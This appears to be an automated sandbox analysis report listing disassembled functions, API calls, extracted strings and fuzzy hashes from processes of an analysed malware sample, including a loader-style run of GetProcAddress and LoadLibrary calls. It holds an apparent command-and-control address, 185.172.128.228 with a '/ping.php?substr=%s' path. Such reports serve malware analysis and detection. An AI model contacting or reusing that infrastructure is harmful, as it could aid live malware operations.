Function 00402FE5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402FEA
std::locale::_Init.LIBCPMT ref: 0040300E

Part of subcall function 00407D73: __EH_prolog3.LIBCMT ref: 00407D7A
Part of subcall function 00407D73: std::_Lockit::_Lockit.LIBCPMT ref: 00407D85
Part of subcall function 00407D73: std::locale::_Setgloballocale.LIBCPMT ref: 00407DA0
Part of subcall function 00407D73: _Yarn.LIBCPMT ref: 00407DB6
Part of subcall function 00407D73: std::_Lockit::~_Lockit.LIBCPMT ref: 00407DF6

Strings

T*@, xrefs: 00402FFA

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prologH_prolog3InitLockit::_Lockit::~_SetgloballocaleYarn
String ID: T*@
API String ID: 4198646248-2370032326
Opcode ID: f7290a10d1b4237e93a88f2e9094d642a1896cb01957c23fb39c05d414f97c01
Instruction ID: f5781f1056de0421007c94b05f43b79da385089699a731dc7870890d3004fbc1
Opcode Fuzzy Hash: f7290a10d1b4237e93a88f2e9094d642a1896cb01957c23fb39c05d414f97c01
Instruction Fuzzy Hash: 8B21B0B5A00A06AFC305DF6AD580995FBF4FF49314B41826FE809D7B50E774A924CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 040E37D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 040E37DB

Strings

185.172.128.228, xrefs: 040E37E2
/ping.php?substr=%s, xrefs: 040E37E3

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: /ping.php?substr=%s$185.172.128.228
API String ID: 3519838083-3577573015
Opcode ID: f1305d7e47ccb51794fd0344b69111e12c8a62ce6eac32493127aafbfd273c69
Instruction ID: ab08d5fd0381338c752559633a1af3db9519a1eaa4dc0f0fbda7cd2aeb723779
Opcode Fuzzy Hash: f1305d7e47ccb51794fd0344b69111e12c8a62ce6eac32493127aafbfd273c69
Instruction Fuzzy Hash: F801A1B2A05115AFE7049F9A9C40FFEBBA9FF45718F10012AF805E7241D370AA6186A0

Uniqueness

Uniqueness Score: -1.00%

Function 0040436E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404373

Part of subcall function 00403A42: __EH_prolog.LIBCMT ref: 00403A47

__Getcoll.LIBCPMT ref: 004043CF

Strings

u@@, xrefs: 004043C9

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog$Getcoll
String ID: u@@
API String ID: 206117190-736001340
Opcode ID: 98940f472b430986a063070397352c0148bb09207a456bdfd0cd06b8d288d3e7
Instruction ID: 69c11f36173d25db8645085f4dff982521935f2d07d38959ddb20a2960a7de4d
Opcode Fuzzy Hash: 98940f472b430986a063070397352c0148bb09207a456bdfd0cd06b8d288d3e7
Instruction Fuzzy Hash: B21170B19012099FCB04EFA9D581A9EB7B4FF44304F10843FE555BB281DB789A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041A6D4 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 0041A76A
GetLastError.KERNEL32 ref: 0041A778
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0041A7D3

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 6e686536444b783a84211067d30db666084dfc2c0494af9a85d7f06e58f7e852
Instruction ID: a04565de271e9a0d08a9f39f26722ecfcdc9a59ce40c97fd2178d4ba0242ee74
Opcode Fuzzy Hash: 6e686536444b783a84211067d30db666084dfc2c0494af9a85d7f06e58f7e852
Instruction Fuzzy Hash: 5541E934602246AFCF219F69C9447FB7BB4EF01310F14416AEC6997291D738CDA2C75A

Uniqueness

Uniqueness Score: -1.00%

Function 040FA93B Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 040FA9D1
GetLastError.KERNEL32 ref: 040FA9DF
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 040FAA3A

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 1894267bdade2e88736a9571c484462cb95094bdf69f1057654e56dd2360f15e
Instruction ID: 2d51fd7f1d930e5807151ceff690ec087ed84d5a8579ec0b370bb77051050fa8
Opcode Fuzzy Hash: 1894267bdade2e88736a9571c484462cb95094bdf69f1057654e56dd2360f15e
Instruction Fuzzy Hash: 7341C330704206AFDB218F64CD44BAE7BE4AF05324F1541B9EA5DBB5A0EB35B905CF61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 5756, Parent PID: 2704COMMON

Executed Functions

Function 07B80590 Relevance: 9.3, Strings: 7, Instructions: 556COMMON

Download Yara Rule

Strings

4']q, xrefs: 07B807F6
4']q, xrefs: 07B80BDB
4']q, xrefs: 07B80688
#mk, xrefs: 07B80BA7
4']q, xrefs: 07B80BE7
4']q, xrefs: 07B807EA
4']q, xrefs: 07B80694

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q$#mk
API String ID: 0-1076674379
Opcode ID: c1f25ff01b0b462c1a827146f7dda3ed9a209c4152d993068406d10e30e14bd5
Instruction ID: 55e5678c2a6bfe5b5c69abe4b796961937e30df86b40f0d6a693b5660ff44af7
Opcode Fuzzy Hash: c1f25ff01b0b462c1a827146f7dda3ed9a209c4152d993068406d10e30e14bd5
Instruction Fuzzy Hash: 5A0248F1704206CFEB657B78D95077A7BA6EF81390F1484BAD801CB292DB35D849C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 07B82128 Relevance: 5.6, Strings: 4, Instructions: 648COMMON

Download Yara Rule

Strings

4']q, xrefs: 07B825CA
4']q, xrefs: 07B825C0
4']q, xrefs: 07B82466
4']q, xrefs: 07B82470

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: 0a735d0a5d23eece604edb1dcb0c2766f9ce0d3ffe893fb1e1b8b5e5e49c7311
Instruction ID: 8675cda3854a386584edfaeefeb94586fa06f6f8062a3bd0d00a70eb644fbabb
Opcode Fuzzy Hash: 0a735d0a5d23eece604edb1dcb0c2766f9ce0d3ffe893fb1e1b8b5e5e49c7311
Instruction Fuzzy Hash: 9C2265F1B042069FEB54AB68C9117AABBE6FF81310F1884FAD905CB291DB35D941C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 04D15630 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2063082463.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 245dede7fba7ddf4b13b3a507016e37c485b4e27016bfd83ca219f6baebc6ac4
Instruction ID: 92b706c80d0482721ec8be2b2df15ee8424a2c1ee835d66706db07c9c5d160fc
Opcode Fuzzy Hash: 245dede7fba7ddf4b13b3a507016e37c485b4e27016bfd83ca219f6baebc6ac4
Instruction Fuzzy Hash: D0C1D370A04245EFCB05DF9CD894AA9BBB0FF89310F15869AD8559B3A2C735FC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07B82107 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 486bc50289b2e236f29886b01258af39b84ab906664181a4ba88d4f8e753b2bf
Instruction ID: c49f5615c53e6c44f77df2dfe6588c3306a1e45a84e94365c3b74a33aaa48151
Opcode Fuzzy Hash: 486bc50289b2e236f29886b01258af39b84ab906664181a4ba88d4f8e753b2bf
Instruction Fuzzy Hash: E04126F1A00302DFEB64BF24CA41BAA7BE2FF85350F1980E6DA019B656C735D940C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07B8086C Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6a4bc41d2bcc97134553ac44e77cfb0ee9055061f3540f77a9e24ebb022d598
Instruction ID: be6775223450047aca12623a0395a5b993e2d60a99144be8fb89e545ab8d8be5
Opcode Fuzzy Hash: e6a4bc41d2bcc97134553ac44e77cfb0ee9055061f3540f77a9e24ebb022d598
Instruction Fuzzy Hash: 823104F1614206DFFBA4BF68C554BAE77A1EF40390F0481A5D815CB2A1DB35E988C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 04D14820 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2063082463.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a43735c2f53fc2acb3b1e47f4082243933544024562e7124fbc1f71fa59046c
Instruction ID: 6b94a15ac271dde3cb13e4d2f6491e3da9d1f23e0b8dd8281e561fb91563522b
Opcode Fuzzy Hash: 9a43735c2f53fc2acb3b1e47f4082243933544024562e7124fbc1f71fa59046c
Instruction Fuzzy Hash: 9F214974A042499FCB00CF9CD4809AABBF4FF89300B15849AE805EB362C335FD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04D14810 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2063082463.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 996714ec10522c585ee88d95923de8b2676517978e463b8b5aad5f81faa5bb02
Instruction ID: 660f883a016a1f459da227831c16c71756782e0724f2485a1799ce22f5550cd5
Opcode Fuzzy Hash: 996714ec10522c585ee88d95923de8b2676517978e463b8b5aad5f81faa5bb02
Instruction Fuzzy Hash: CA210874A046499FCB01CF98D5909AABBB1FF89310B1585AAE845EB362C335EC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0343D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2062781057.000000000343D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0343D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_343d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba3be957d30150ea115948f35e43c5e09f713da266c57d0a0effc4420f620ed3
Instruction ID: 11bda74957a35feef658df571dd6ee83900ab91aee8fd928085faee7ec2b0de4
Opcode Fuzzy Hash: ba3be957d30150ea115948f35e43c5e09f713da266c57d0a0effc4420f620ed3
Instruction Fuzzy Hash: F201217240D3C09ED7128B25CC94652BFB4DF47624F1D81DBD9848F293C2695845C776

Uniqueness

Uniqueness Score: -1.00%

Function 0343D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2062781057.000000000343D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0343D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_343d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91676c167e684fded7c171a31830b788f9d4e093545b0573b0cefd215bb65f9
Instruction ID: b2980c7a852f537283df3c6f576dc323b566870a308eb386f886b04bc78aaf5f
Opcode Fuzzy Hash: b91676c167e684fded7c171a31830b788f9d4e093545b0573b0cefd215bb65f9
Instruction Fuzzy Hash: D601FC3180434099E710CA15CD84BA7FFACDF4B728F1CC46BED581F246C2799442C6B5

Uniqueness

Uniqueness Score: -1.00%

Function 04D12C06 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2063082463.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f58b64dc0bab62e248e5cf271e27c3262cade21fb50640a048b5501eb1e8da5
Instruction ID: ba8cb165157dee53884903a23335ce1e522bc337647f90feb585dc9902ff1f2a
Opcode Fuzzy Hash: 0f58b64dc0bab62e248e5cf271e27c3262cade21fb50640a048b5501eb1e8da5
Instruction Fuzzy Hash: FCF0D435A001099FCB15CF9DD990AEEF7B2FF88324F248199E515A72A1C732EC52CB60

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07B81788 Relevance: 14.2, Strings: 11, Instructions: 481COMMON

Download Yara Rule

Strings

4']q, xrefs: 07B819F9
sl, xrefs: 07B8186F
$]q, xrefs: 07B817C0
$]q, xrefs: 07B8179A
4']q, xrefs: 07B819EF
sl, xrefs: 07B81D26
sl, xrefs: 07B81D18
tP]q, xrefs: 07B81805
$]q, xrefs: 07B817CC
sl, xrefs: 07B8187D
tP]q, xrefs: 07B81811

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q$sl$sl$sl$sl
API String ID: 0-1276679885
Opcode ID: 8befb202afdd99c39edaf3d418fd6cdc6e7e3475378fafdc259a91b7e1a70e61
Instruction ID: c1255f535dc06e090de271b348d38bf1fe17edb88ab31a84c3df5488e4d2decc
Opcode Fuzzy Hash: 8befb202afdd99c39edaf3d418fd6cdc6e7e3475378fafdc259a91b7e1a70e61
Instruction Fuzzy Hash: 35F158F270120D8FEB54AB6CD5017AABBE6EFC6210F1884BED845CB251DB31D946C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07B80AD8 Relevance: 11.5, Strings: 9, Instructions: 274COMMON

Download Yara Rule

Strings

tP]q, xrefs: 07B80D31
sl, xrefs: 07B80D9D
tP]q, xrefs: 07B80D25
$]q, xrefs: 07B80CEC
sl, xrefs: 07B80D8F
$]q, xrefs: 07B80CE0
4']q, xrefs: 07B80BDB
#mk, xrefs: 07B80BA7
$]q, xrefs: 07B80CBA

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$tP]q$tP]q$#mk$$]q$$]q$$]q$sl$sl
API String ID: 0-1163901466
Opcode ID: 71669a47710267e4b4007d87f26d886c47112eed07f15e8a0172353f073c5d1e
Instruction ID: 60eb99e75d03618f364884dbbdb738577c98ed77952f53c9335702203257d4ec
Opcode Fuzzy Hash: 71669a47710267e4b4007d87f26d886c47112eed07f15e8a0172353f073c5d1e
Instruction Fuzzy Hash: A58155F27082068FE7647E698500776BBE5EFC2691F1984ABE845CB352CB31D849C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07B83560 Relevance: 6.3, Strings: 5, Instructions: 71COMMON

Download Yara Rule

Strings

sl, xrefs: 07B835EB
$]q, xrefs: 07B835A6
$]q, xrefs: 07B8356F
$]q, xrefs: 07B8359A
sl, xrefs: 07B835DD

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$sl$sl
API String ID: 0-445436234
Opcode ID: d5c937e6469b810c09dcf7bb80d6838a9d53aa2e4c72e0a976bc0b8a60c759d2
Instruction ID: 09fba3ed561f327d7474f8e7b0284f61623bdbf83d50d8a68d132290058b1090
Opcode Fuzzy Hash: d5c937e6469b810c09dcf7bb80d6838a9d53aa2e4c72e0a976bc0b8a60c759d2
Instruction Fuzzy Hash: 72110AF13003169BF764651E9800BAABBD6FFC1B21F24856AE84987251CA35C441C351

Uniqueness

Uniqueness Score: -1.00%

Function 07B838F0 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07B8391E
$]q, xrefs: 07B83958
$]q, xrefs: 07B8394C
$]q, xrefs: 07B83902

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 43da6dff7ce41df5447bc62caafc9803e45c2f2feb7a667a5a6da388aa07b6db
Instruction ID: a372ba746b9e6313de94ba697e7660b34256d247a1184d631d12d4529d976096
Opcode Fuzzy Hash: 43da6dff7ce41df5447bc62caafc9803e45c2f2feb7a667a5a6da388aa07b6db
Instruction Fuzzy Hash: DA214CF13103065BEBA4697D9840B3FBADADBC0E11F24846A9546CB381DD36C445C361

Uniqueness

Uniqueness Score: -1.00%

Function 07B80308 Relevance: 5.0, Strings: 4, Instructions: 42COMMON

Download Yara Rule

Strings

$]q, xrefs: 07B80352
4']q, xrefs: 07B8037F
4']q, xrefs: 07B80373
$]q, xrefs: 07B8035E

Memory Dump Source

Source File: 00000007.00000002.2069416599.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7b80000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: 31fdc5a24825d09c435a9c9afb968e2d7054e940259506118d3dee1ba4b86b4c
Instruction ID: bd1d1b91122a1fe60bb4be3620256a69c5ed546a051076cca51ed0b5fc26af4b
Opcode Fuzzy Hash: 31fdc5a24825d09c435a9c9afb968e2d7054e940259506118d3dee1ba4b86b4c
Instruction Fuzzy Hash: 6B01F9B170D3868FD36A362C89202652FB29FC7950B1F45E7C091CF257CD145C09C39A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: u5do.0.exePID: 2968, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,04173F00), ref: 0041625D
GetProcAddress.KERNEL32(75900000,04174180), ref: 00416275
GetProcAddress.KERNEL32(75900000,04190CE0), ref: 0041628E
GetProcAddress.KERNEL32(75900000,04190D28), ref: 004162A6
GetProcAddress.KERNEL32(75900000,04190D40), ref: 004162BE
GetProcAddress.KERNEL32(75900000,04190C80), ref: 004162D7
GetProcAddress.KERNEL32(75900000,0418F808), ref: 004162EF
GetProcAddress.KERNEL32(75900000,04190C98), ref: 00416307
GetProcAddress.KERNEL32(75900000,04190CB0), ref: 00416320
GetProcAddress.KERNEL32(75900000,04190CF8), ref: 00416338
GetProcAddress.KERNEL32(75900000,04190D10), ref: 00416350
GetProcAddress.KERNEL32(75900000,04174400), ref: 00416369
GetProcAddress.KERNEL32(75900000,041743C0), ref: 00416381
GetProcAddress.KERNEL32(75900000,041741A0), ref: 00416399
GetProcAddress.KERNEL32(75900000,04174160), ref: 004163B2
GetProcAddress.KERNEL32(75900000,04195D80), ref: 004163CA
GetProcAddress.KERNEL32(75900000,04195D20), ref: 004163E2
GetProcAddress.KERNEL32(75900000,0418F858), ref: 004163FB
GetProcAddress.KERNEL32(75900000,04174380), ref: 00416413
GetProcAddress.KERNEL32(75900000,04195E70), ref: 0041642B
GetProcAddress.KERNEL32(75900000,04195D68), ref: 00416444
GetProcAddress.KERNEL32(75900000,04195C00), ref: 0041645C
GetProcAddress.KERNEL32(75900000,04195C18), ref: 00416474
GetProcAddress.KERNEL32(75900000,04174220), ref: 0041648D
GetProcAddress.KERNEL32(75900000,04195C48), ref: 004164A5
GetProcAddress.KERNEL32(75900000,04195DE0), ref: 004164BD
GetProcAddress.KERNEL32(75900000,04195DB0), ref: 004164D6
GetProcAddress.KERNEL32(75900000,04195D38), ref: 004164EE
GetProcAddress.KERNEL32(75900000,04195DC8), ref: 00416506
GetProcAddress.KERNEL32(75900000,04195D50), ref: 0041651F
GetProcAddress.KERNEL32(75900000,04195DF8), ref: 00416537
GetProcAddress.KERNEL32(75900000,04195EB8), ref: 0041654F
GetProcAddress.KERNEL32(75900000,04195D98), ref: 00416568
GetProcAddress.KERNEL32(75900000,04192CE8), ref: 00416580
GetProcAddress.KERNEL32(75900000,04195ED0), ref: 00416598
GetProcAddress.KERNEL32(75900000,04195E10), ref: 004165B1
GetProcAddress.KERNEL32(75900000,04174360), ref: 004165C9
GetProcAddress.KERNEL32(75900000,04195E28), ref: 004165E1
GetProcAddress.KERNEL32(75900000,041741C0), ref: 004165FA
GetProcAddress.KERNEL32(75900000,04195E88), ref: 00416612
GetProcAddress.KERNEL32(75900000,04195C90), ref: 0041662A
GetProcAddress.KERNEL32(75900000,041743A0), ref: 00416643
GetProcAddress.KERNEL32(75900000,041742C0), ref: 0041665B
LoadLibraryA.KERNEL32(04195E40,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(04195E58,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(04195CD8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(04195C30,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(04195EA0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(04195C60,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(04195C78,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(04195CA8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75FD0000,04174420), ref: 0041670A
GetProcAddress.KERNEL32(75FD0000,04195BE8), ref: 00416722
GetProcAddress.KERNEL32(75FD0000,041907F8), ref: 0041673A
GetProcAddress.KERNEL32(75FD0000,04195CC0), ref: 00416753
GetProcAddress.KERNEL32(75FD0000,04174140), ref: 0041676B
GetProcAddress.KERNEL32(734B0000,0418F948), ref: 00416790
GetProcAddress.KERNEL32(734B0000,041743E0), ref: 004167A9
GetProcAddress.KERNEL32(734B0000,0418F880), ref: 004167C1
GetProcAddress.KERNEL32(734B0000,04195CF0), ref: 004167D9
GetProcAddress.KERNEL32(734B0000,04195D08), ref: 004167F2
GetProcAddress.KERNEL32(734B0000,04174440), ref: 0041680A
GetProcAddress.KERNEL32(734B0000,041741E0), ref: 00416822
GetProcAddress.KERNEL32(734B0000,04195F18), ref: 0041683B
GetProcAddress.KERNEL32(763B0000,04174240), ref: 0041685C
GetProcAddress.KERNEL32(763B0000,04174200), ref: 00416874
GetProcAddress.KERNEL32(763B0000,04195F90), ref: 0041688D
GetProcAddress.KERNEL32(763B0000,04195FA8), ref: 004168A5
GetProcAddress.KERNEL32(763B0000,04174260), ref: 004168BD
GetProcAddress.KERNEL32(750F0000,0418F8A8), ref: 004168E3
GetProcAddress.KERNEL32(750F0000,0418F8D0), ref: 004168FB
GetProcAddress.KERNEL32(750F0000,04195F30), ref: 00416913
GetProcAddress.KERNEL32(750F0000,04174280), ref: 0041692C
GetProcAddress.KERNEL32(750F0000,04174460), ref: 00416944
GetProcAddress.KERNEL32(750F0000,0418F998), ref: 0041695C
GetProcAddress.KERNEL32(75A50000,04195EE8), ref: 00416982
GetProcAddress.KERNEL32(75A50000,04174300), ref: 0041699A
GetProcAddress.KERNEL32(75A50000,04190938), ref: 004169B2
GetProcAddress.KERNEL32(75A50000,04195F00), ref: 004169CB
GetProcAddress.KERNEL32(75A50000,04195F48), ref: 004169E3
GetProcAddress.KERNEL32(75A50000,041740C0), ref: 004169FB
GetProcAddress.KERNEL32(75A50000,041740E0), ref: 00416A14
GetProcAddress.KERNEL32(75A50000,04195F60), ref: 00416A2C
GetProcAddress.KERNEL32(75A50000,04195F78), ref: 00416A44
GetProcAddress.KERNEL32(75070000,04174320), ref: 00416A66
GetProcAddress.KERNEL32(75070000,04196170), ref: 00416A7E
GetProcAddress.KERNEL32(75070000,041961A0), ref: 00416A96
GetProcAddress.KERNEL32(75070000,04196260), ref: 00416AAF
GetProcAddress.KERNEL32(75070000,04195FF0), ref: 00416AC7
GetProcAddress.KERNEL32(74E50000,041742A0), ref: 00416AE8
GetProcAddress.KERNEL32(74E50000,04174100), ref: 00416B01
GetProcAddress.KERNEL32(75320000,04174120), ref: 00416B22
GetProcAddress.KERNEL32(75320000,04196020), ref: 00416B3A
GetProcAddress.KERNEL32(6F080000,041742E0), ref: 00416B60
GetProcAddress.KERNEL32(6F080000,04174340), ref: 00416B78
GetProcAddress.KERNEL32(6F080000,04196AB8), ref: 00416B90
GetProcAddress.KERNEL32(6F080000,04196218), ref: 00416BA9
GetProcAddress.KERNEL32(6F080000,04196938), ref: 00416BC1
GetProcAddress.KERNEL32(6F080000,04196998), ref: 00416BD9
GetProcAddress.KERNEL32(6F080000,04196A78), ref: 00416BF2
GetProcAddress.KERNEL32(6F080000,04196BB8), ref: 00416C0A
GetProcAddress.KERNEL32(74E00000,041961B8), ref: 00416C2B
GetProcAddress.KERNEL32(74E00000,041908C8), ref: 00416C44
GetProcAddress.KERNEL32(74E00000,041962C0), ref: 00416C5C
GetProcAddress.KERNEL32(74E00000,04196230), ref: 00416C74
GetProcAddress.KERNEL32(74DF0000,04196AD8), ref: 00416C96
GetProcAddress.KERNEL32(6C6C0000,04196248), ref: 00416CB7
GetProcAddress.KERNEL32(6C6C0000,04196898), ref: 00416CCF
GetProcAddress.KERNEL32(6C6C0000,04196290), ref: 00416CE8
GetProcAddress.KERNEL32(6C6C0000,04196098), ref: 00416D00

Memory Dump Source

Source File: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000624000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2522429358.0000000000636000.00000040.00000001.01000000.0000000A.sdmpDownload File

